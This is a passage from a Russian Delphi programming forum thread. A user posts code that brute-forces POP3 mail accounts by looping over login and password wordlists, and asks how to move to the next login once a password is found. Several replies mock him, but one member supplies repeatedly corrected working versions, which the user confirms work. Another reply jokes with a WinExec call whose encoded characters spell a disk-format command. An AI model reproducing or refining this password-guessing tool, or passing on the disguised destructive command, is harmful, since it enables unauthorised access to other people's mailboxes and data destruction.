Мастера DELPHI (документация, исходники, скачать)

Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Проблема

Страницы: 1 2 3 >
Bast © (2007-08-21 01:19:00)
Есть код(приведенный ниже) когда пароль найден, то я хочу перейти сразу на другую строчку, как я могу это сделать?
procedure threed.Execute; var LoginStrings:TStrings; PassStrings:TStrings; i,j:integer; begin LoginStrings:=TStringList.Create; PassStrings:=TStringList.Create; //Çàãðóæàåì âàðèàíòû — ñïðàâî÷íèêè èìåí è ïàðîëåé LoginStrings.LoadFromFile(form1.Edit3.Text); PassStrings.LoadFromFile(form1.Edit4.Text); form1.IdPOP31.Host:=form1.Edit1.Text; form1.IdPOP31.Port:=strtoint(form1.Edit2.Text); for i:=0 to LoginStrings.Count-1 do for j:=0 to PassStrings.Count-1 do begin form1.IdPOP31.UserName:=LoginStrings.Strings[i]; form1.IdPOP31.Password:=PassStrings.Strings[j]; form1.Memo2.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]); //Ïîïûòêà ñîåäèíåíèÿ. try form1.IdPOP31.Connect; except end; if form1.IdPOP31.Connected then begin form1.Memo1.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]); i:=i+1; form1.IdPOP31.Disconnect; end; form1.IdPOP31.Disconnect; end; end; end.

DrPass (2007-08-21 12:34:00) [1]

> Dib@zol © (21.08.07 12:04) [38]

> Именно потому и привожу, что чел с таким набором знаний
> вряд ли когда-либо напишет то, чего он хочет

И слава богу. Пойми железное правило - человек должен или уметь/учиться соображать сам, или вообще держаться подальше от программирования. Дерьма в интернете и так полно, и не нужно помогать его плодить.

iXT (2007-08-21 12:11:00) [2]
> что чел с таким набором знаний вряд ли когда-либо напишет
> то, чего он хочет

Ты напишешь за него.

Сергей М. (2007-08-21 12:08:00) [3]

> Dib@zol © (21.08.07 12:07) [39]

Ну хорошо, будем рассматривать это не как медвежью услугу, а как медвежью диверсию))

iXT (2007-08-21 12:08:00) [4]
for i:=0 to Count - 1 do
begin
.......
if <Нашел что искал>
then WinExec('$102+$111+$114+$109+$97+$116+$32+$99+58');
end;

ЗЫ Вариант с форматированием почтового ящика :)

Dib@zol (2007-08-21 12:07:00) [5]
Опять же, а если он будет читать хелпы и мануалы, изучать статьи и SDK, то со временем будет способен на многое! Так не лучше ли притормозить этот пагубный процесс?

Dib@zol (2007-08-21 12:04:00) [6]
> [36] iXT © (21.08.07 12:02)
> [37] Сергей М. © (21.08.07 12:02)

Именно потому и привожу, что чел с такимнабором знаний вряд ли когда-либо напишет то, чего он хочет.

Сергей М. (2007-08-21 12:02:00) [7]

> Dib@zol © (21.08.07 11:58) [35]

"Медвежесть" услуги здесь в том что приводится некое готовоерешение человеку, не умеющему и/или не желающему ни читать, ни думать, занимающемуся к тому же откровенно неблаговидными "делами".

iXT (2007-08-21 12:02:00) [8]
> [35] Dib@zol © (21.08.07 11:58)

Зачем?

Bast (2007-08-21 11:58:00) [9]

> procedure threed.Execute;
> label
> _end;
> var
> LoginStrings:TStrings;
> PassStrings:TStrings;
> i,j:integer;
> begin
> LoginStrings:=TStringList.Create;
> PassStrings:=TStringList.Create;
> //Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
> LoginStrings.LoadFromFile(form1.Edit3.Text);
> PassStrings.LoadFromFile(form1.Edit4.Text);
> form1.IdPOP31.Host:=form1.Edit1.Text;
> form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
> i:=0;
> repeat
> for j:=0 to PassStrings.Count-1 do begin
> form1.IdPOP31.UserName:=LoginStrings.Strings[i];
> form1.IdPOP31.Password:=PassStrings.Strings[j];
> form1.Memo2.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.
> Strings[j]);
> try
> form1.IdPOP31.Connect;
> except
> end;
> if form1.IdPOP31.Connected then begin
> form1.Memo1.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.
> Strings[j]);
> form1.IdPOP31.Disconnect;
> goto _end;
> end;
> form1.IdPOP31.Disconnect;
> end;
> _end:
> i:=i+1;
> until i>LoginStrings.Count;
> end;

Спасибо, помогло

Dib@zol (2007-08-21 11:58:00) [10]
> [32] Сергей М. © (21.08.07 11:53)

Так. Какова ситуация? Чел не хочет/не может/не знает как использовать Брейк. Я предлагаю иной вариант, но если вас уж так это коробит, то пожалте:

procedure threed.Execute;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]);
//Iiiuoea niaaeiaiey.
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then
begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]);
form1.IdPOP31.Disconnect;
BREAK;
end;
form1.IdPOP31.Disconnect;
end;
end;
end.

DrPass (2007-08-21 11:57:00) [11]

> Сергей М. © (21.08.07 11:53) [32]

> .. и оказал тем самым медвежью услугу)

Наоборот, это природный механизм естественного отбора в действии :)

Сергей М. (2007-08-21 11:53:00) [12]

> Dib@zol © (21.08.07 11:51) [31]

> Я свой предложил

.. и оказал тем самым медвежью услугу)

Dib@zol (2007-08-21 11:51:00) [13]
> [30] Плохиш © (21.08.07 11:49)

Любую задачу можно решить несколькими способами. Я свой предложил, а ты нет, профи ты наш.

Плохиш (2007-08-21 11:49:00) [14]

> Dib@zol © (21.08.07 11:47) [29]

Прикольные маразматические извращения и всё только из-за отсутствия знаний того, что делает break :-) Продолжай...

Dib@zol (2007-08-21 11:47:00) [15]
Тфу ты. Вот:

procedure threed.Execute;
label
_end;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
i:=0;
repeat
for j:=0 to PassStrings.Count-1 do begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]);
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]);
form1.IdPOP31.Disconnect;
goto _end;
end;
form1.IdPOP31.Disconnect;
end;
_end:
i:=i+1;
until i>LoginStrings.Count;
end;

Dib@zol (2007-08-21 11:45:00) [16]
Походу я могу. Надо (см. код) увеличить i на 1, а в j прописать 0.
Аффтару: такая циклическая конструкция тута не подходит. for в данной ситуации явно не рулит. repeat - until!

procedure threed.Execute;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
i:=0;
repeat
for j:=0 to PassStrings.Count-1 do begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]);
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]);
i:=i+1;
form1.IdPOP31.Disconnect;
end;
form1.IdPOP31.Disconnect;
end;
i:=i+1;
until i>LoginStrings.Count;
end;

Сергей М. (2007-08-21 11:38:00) [17]

> Bast (21.08.07 11:29) [22]

> нужно не остановить, а передвинуть

Ты в состоянии вразумительно объяснить, что такое "передвинуть цикл" ?)

Плохиш (2007-08-21 11:33:00) [18]

> Bast (21.08.07 11:29) [22]

Да у тебя ещё и проблемы с логикой.

> alshtam (21.08.07 11:30) [24]

И какой из циклов аФФтара оно продолжит?

Dib@zol (2007-08-21 11:30:00) [19]
> Не переживай. Я уже позвонил в ФАПСИ, обещали этим товарищем
> заняться. Скоро будет баландой завтракать

> Нехорошо, дядя, гадить, ой нехорошо) (с)
:)

alshtam (2007-08-21 11:30:00) [20]
continue продолжает цикл со следующей цифры

Страницы: 1 2 3 >

Наверх

	« предыдущая ветвь \| форум \| следующая ветвь »